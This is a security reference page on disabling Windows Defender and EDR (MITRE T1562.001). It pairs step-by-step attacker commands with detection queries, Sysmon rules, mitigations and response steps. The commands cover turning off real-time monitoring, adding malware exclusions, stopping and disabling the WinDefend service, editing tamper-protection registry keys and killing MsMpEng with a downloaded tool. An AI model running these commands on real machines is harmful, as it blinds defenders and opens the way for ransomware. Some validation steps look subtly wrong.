| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-001 |
| MITRE ATT&CK v18.1 | T1562.001 - Disable or Modify Tools |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2016, Server 2019, Server 2022, Server 2025; Windows 10/11 all versions |
| Patched In | Partial mitigations in Windows Defender v4.18.2301+; EDR solutions implement real-time process protection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Disabling antivirus (AV) and Endpoint Detection & Response (EDR) tools is a fundamental defense evasion technique that allows adversaries to execute arbitrary code, deploy malware, and maintain persistence without triggering security alerts. This involves either stopping security services (e.g., Windows Defender), modifying registry keys to disable functionality, or leveraging built-in Windows utilities like sc.exe and PowerShell to suppress real-time monitoring. The technique exploits the fact that most organizations rely on these tools as their primary detection mechanism.
Attack Surface: The Windows security subsystem, service management infrastructure, registry hive (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services), and PowerShell runtime.
Business Impact: Undetected Post-Compromise Activity. Disabling AV/EDR allows adversaries to execute ransomware, data exfiltration tools, lateral movement payloads, and persistence mechanisms without triggering automated responses. Organizations lose visibility into the attack, extending dwell time and increasing the scope of compromise.
Technical Context: On modern Windows systems with real-time monitoring, disabling AV typically triggers EventID 5001 (Real-Time Protection Disabled) and 5007 (Configuration Changed). However, if executed before adequate logging is in place, evidence can be minimal. EDR solutions are more resilient due to kernel-level hooks and code integrity checks, but service stop commands can still succeed if the EDR lacks proper process protection.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 9.1.1, 9.4 | Ensure Antivirus software is present and active; Ensure real-time scanning is enabled. |
| DISA STIG | WN10-00-000050, WN10-00-000051 | Ensure Windows Defender is enabled and real-time monitoring is active. |
| CISA SCuBA | SC.L1.1 | Require multi-layered defense; disable or modify tools violates defense-in-depth. |
| NIST 800-53 | SI-3 (Malicious Code Protection) | Implements AV and monitors/manages the effects of malicious code. |
| GDPR | Art. 32 | Security of Processing; Measures must ensure ongoing ability to ensure confidentiality, integrity, availability. |
| DORA | Art. 9 | Protection and Prevention (ICT); Incident detection and response. |
| NIS2 | Art. 21 | Cyber Risk Management Measures; Monitoring and detection capabilities required. |
| ISO 27001 | A.12.6.1, A.12.2.1 | Management of technical vulnerabilities; Detection and prevention. |
| ISO 27005 | Risk Scenario | Compromise due to disabled defenses; Increased probability and impact. |
Supported Versions:
# Check if Windows Defender is running
Get-Service WinDefend | Select-Object Name, Status, StartType
# Check Defender preferences and exclusions
Get-MpPreference | Select-Object DisableRealtimeMonitoring, DisableIOAVProtection, ExclusionPath
# Check if Defender is tamper-protected
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender" | Select-Object *tamper*
# Enumerate running EDR/AV processes
Get-Process | Where-Object {$_.ProcessName -match "(MsMpEng|falconCertificateModule|xagt|PEP)" }
# Check registry for Defender service startup type
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" -Name Start
What to Look For:
Running, the service is active. If Stopped, it may already be disabled.0 means enabled; 1 means disabled.2 = Auto (boots with OS); 4 = Disabled; 3 = Manual.Version Note: Windows Server 2022+ has enhanced Defender with tamper protection by default; requires admin to disable.
Supported Versions: Windows Server 2016-2025, Windows 10/11
Objective: Disable Windows Defender real-time protection without stopping the service (less noisy than service stop).
Command:
Set-MpPreference -DisableRealtimeMonitoring $true
Variant (Disable Multiple Protection Components):
Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableIntrusionPreventionSystem $true
Expected Output:
(No output on success; command completes silently)
What This Means:
OpSec & Evasion:
Troubleshooting:
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference ..."from elevated context.References:
Objective: Prevent scanning of specific file paths/processes where malware will reside.
Command:
Add-MpPreference -ExclusionPath "C:\Temp", "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "notepad.exe", "svchost.exe"
Expected Output:
(No output on success)
What This Means:
OpSec & Evasion:
References:
Supported Versions: Windows Server 2016-2025, Windows 10/11
Objective: Halt the Windows Defender service entirely, preventing all protection features.
Command (sc.exe):
sc stop WinDefend
Command (PowerShell):
Stop-Service -Name WinDefend -Force
Expected Output (sc.exe):
[SC] StopService SUCCESS
Expected Output (PowerShell):
(No output on success)
What This Means:
OpSec & Evasion:
/Force to prevent Defender from auto-restarting.Troubleshooting:
References:
Objective: Ensure Defender remains disabled even after system restart.
Command (sc.exe):
sc config WinDefend start=disabled
Command (PowerShell):
Set-Service -Name WinDefend -StartupType Disabled
Expected Output:
[SC] ChangeServiceConfig SUCCESS
What This Means:
OpSec & Evasion:
References:
Supported Versions: Windows Server 2022+, Windows 11
Objective: On newer Windows versions, tamper protection locks the registry. This step disables it.
Command (PowerShell):
$path = "HKLM:\Software\Microsoft\Windows Defender\Features"
New-Item -Path $path -Force | Out-Null
Set-ItemProperty -Path $path -Name "TamperProtection" -Value 0
Expected Output:
(No output on success)
What This Means:
OpSec & Evasion:
References:
Objective: After tamper protection is disabled, modify the registry to disable Defender entirely.
Command (PowerShell):
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1
Expected Output:
(No output on success)
What This Means:
References:
Supported Versions: Windows Server 2016-2022, Windows 10/11
Objective: Some EDR solutions can be disabled using third-party drivers (ProcessHacker, GMER, IOBit) that lower integrity levels or hook functions.
Command (Example using ProcessHacker driver):
# Download and execute ProcessHacker
Invoke-WebRequest -Uri "https://processhacker.sourceforge.io/processhacker2.exe" -OutFile "C:\Temp\ph.exe"
# Run with driver to disable EDR process
C:\Temp\ph.exe -object process -object name "MsMpEng.exe" -action terminate
Expected Output:
(Depends on tool; typically shows terminated process)
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Test ID: T1562.001 (Multiple variants)
Supported Tests:
Invoke-AtomicTest T1562.001 -TestNumbers 1
Invoke-AtomicTest T1562.001 -TestNumbers 1 -Cleanup
Invoke-AtomicTest T1562.001 -TestNumbers 2
Invoke-AtomicTest T1562.001 -TestNumbers 3
Reference: Atomic Red Team Library - T1562.001
Version: All Windows versions Usage:
sc stop WinDefend
sc config WinDefend start=disabled
References:
Version: PowerShell 5.0+ Tools:
Stop-ServiceSet-MpPreferenceAdd-MpPreferenceSet-ServiceUsage:
Set-MpPreference -DisableRealtimeMonitoring $true
References:
Version: 2.x+ Purpose: Terminate EDR processes, bypass kernel protections via driver. Download: ProcessHacker GitHub
Version: 2.x+ Purpose: Anti-rootkit tool; can interact with kernel to disable monitoring. Download: GMER Website
Version: 12.x+ Purpose: Utility-based approach; uninstalls AV/EDR software. Note: Legitimate software sometimes misused for malicious purposes.
Rule Configuration:
KQL Query:
// Detect Set-MpPreference disabling real-time monitoring
DeviceProcessEvents
| where ProcessName contains "powershell.exe"
| where CommandLine contains "Set-MpPreference"
and CommandLine contains "DisableRealtimeMonitoring"
and CommandLine contains "$true"
| project TimeGenerated, DeviceName, ProcessName, CommandLine, AccountName
What This Detects:
Set-MpPreference with parameters that disable real-time scanning.Manual Configuration Steps (Azure Portal):
Defender Real-Time Monitoring DisabledHigh5 minutes1 hourManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$query = @"
DeviceProcessEvents
| where ProcessName contains "powershell.exe"
| where CommandLine contains "Set-MpPreference"
| where CommandLine contains "DisableRealtimeMonitoring"
| where CommandLine contains "`$true"
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Defender Real-Time Monitoring Disabled" `
-Query $query `
-Severity "High" `
-Enabled $true
References:
Rule Configuration:
KQL Query:
// Detect sc.exe or PowerShell stopping WinDefend service
SecurityEvent
| where EventID == 4688 // Process Creation
| where ProcessName contains "sc.exe" or ProcessName contains "powershell.exe"
| where CommandLine contains "stop" and CommandLine contains "WinDefend"
| project TimeGenerated, Computer, ProcessName, CommandLine, Account
What This Detects:
sc.exe or powershell.exe with “stop” and “WinDefend” in command line.References:
Event ID: 5001 (Real-Time Protection Disabled)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enableEvent ID: 7034 (Service Unexpectedly Terminated)
Event ID: 4657 (Registry Value Modified)
Manual Configuration (Audit Registry):
HKLM\Software\Microsoft\Windows Defender\Features
HKLM\SYSTEM\CurrentControlSet\Services\WinDefend
Minimum Sysmon Version: 11.0+ Supported Platforms: Windows 10/11, Server 2016-2025
<Rule name="Defender Disabled via PowerShell" groupRelation="or">
<ProcessCreate onmatch="all">
<Image condition="contains">powershell.exe</Image>
<CommandLine condition="contains all">Set-MpPreference; DisableRealtimeMonitoring</CommandLine>
</ProcessCreate>
</Rule>
<Rule name="WinDefend Service Stopped" groupRelation="or">
<ProcessCreate onmatch="all">
<Image condition="endswith">sc.exe</Image>
<CommandLine condition="contains all">stop; WinDefend</CommandLine>
</ProcessCreate>
</Rule>
<Rule name="Registry Modification - Windows Defender" groupRelation="or">
<RegistryEvent onmatch="all">
<TargetObject condition="contains">HKLM\Software\Microsoft\Windows Defender</TargetObject>
<EventType>SetValue</EventType>
</RegistryEvent>
</Rule>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious security tool disabled on a virtual machine”
sc.exe, PowerShell, or registry.Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Suspicious Tool Disabled
1. Enable Tamper Protection (Server 2022+ / Windows 11)
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender" `
-Name "TamperProtectionConfiguration" -Value 2
# Value 2 = Enabled; 0 = Disabled
Manual Steps (Registry):
reg add "HKLM\Software\Microsoft\Windows Defender" /v "TamperProtectionConfiguration" /t REG_DWORD /d 2 /f
2. Restrict Administrative Rights and Implement Least Privilege
sc.exe, PowerShell, or modify registry.Manual Steps (Group Policy - PowerShell Execution):
3. Enable Audit Logging for Service Changes
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Local Policy):
auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
4. Implement Real-Time Detection and Response (EDR)
# Download and install MDE client
Invoke-WebRequest -Uri "https://aka.ms/mdatpanalytics" -OutFile "mdatpclient.msi"
msiexec.exe /i mdatpclient.msi /quiet
5. Centralized Log Forwarding (Prevent Log Clearing)
6. Conditional Access - Require Device Compliance
Manual Steps (Azure Conditional Access):
Block Non-Compliant Devices7. RBAC Role Assignment Review
Manual Steps (Azure Portal):
# Check Tamper Protection is enabled
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows Defender" | Select-Object TamperProtectionConfiguration
# Check Audit Logging
auditpol /get /category:"System"
# Check Service Permissions
icacls "C:\Windows\System32\sc.exe" /grant:r "Domain Admins:(F)"
# Verify Defender is running and protected
Get-Service WinDefend | Select-Object Status, StartType
Get-MpPreference | Select-Object DisableRealtimeMonitoring
Expected Output (If Secure):
TamperProtectionConfiguration : 2 (Enabled)
Status : Running
DisableRealtimeMonitoring : False
HKLM\Software\Microsoft\Windows Defender (DisableAntiSpyware, TamperProtectionConfiguration)HKLM\SYSTEM\CurrentControlSet\Services\WinDefend (Start value = 4 = Disabled)HKLM\Software\Policies\Microsoft\Windows Defender (policy overrides)powershell.exe, sc.exe, regedit.exe, mpcmdrun.exeC:\Windows\System32\winevt\Logs\Security.evtx, Microsoft-Windows-Windows Defender/Operational# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Manual (Azure):
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Defender Operational Log
wevtutil epl Microsoft-Windows-Windows Defender/Operational C:\Evidence\Defender.evtx
# Capture memory dump (requires procdump)
procdump64.exe -ma svchost.exe C:\Evidence\svchost.dmp
Manual:
C:\Evidence\Security.evtx# Re-enable WinDefend service
Set-Service -Name WinDefend -StartupType Automatic -Status Running
# Re-enable Defender real-time monitoring
Set-MpPreference -DisableRealtimeMonitoring $false
# Run Defender scan
Start-MpScan -ScanType FullScan
Manual:
C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt)| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial user-level access via phishing. |
| 2 | Privilege Escalation | [PE-EXPLOIT-001] PrintNightmare RCE | Attacker exploits CVE-2021-34527 to gain admin rights. |
| 3 | Defense Evasion | [EVADE-IMPAIR-001] | Attacker disables Defender to avoid detection. |
| 4 | Execution | [CA-DUMP-001] Mimikatz LSASS Dump | Attacker extracts credentials from memory. |
| 5 | Impact | [DATA-EXF-001] Data Exfiltration | Attacker exfiltrates sensitive data undetected. |
sc.exe commands and PowerShell to disable Windows Defender, antivirus, and Windows Update before deploying Ryuk ransomware.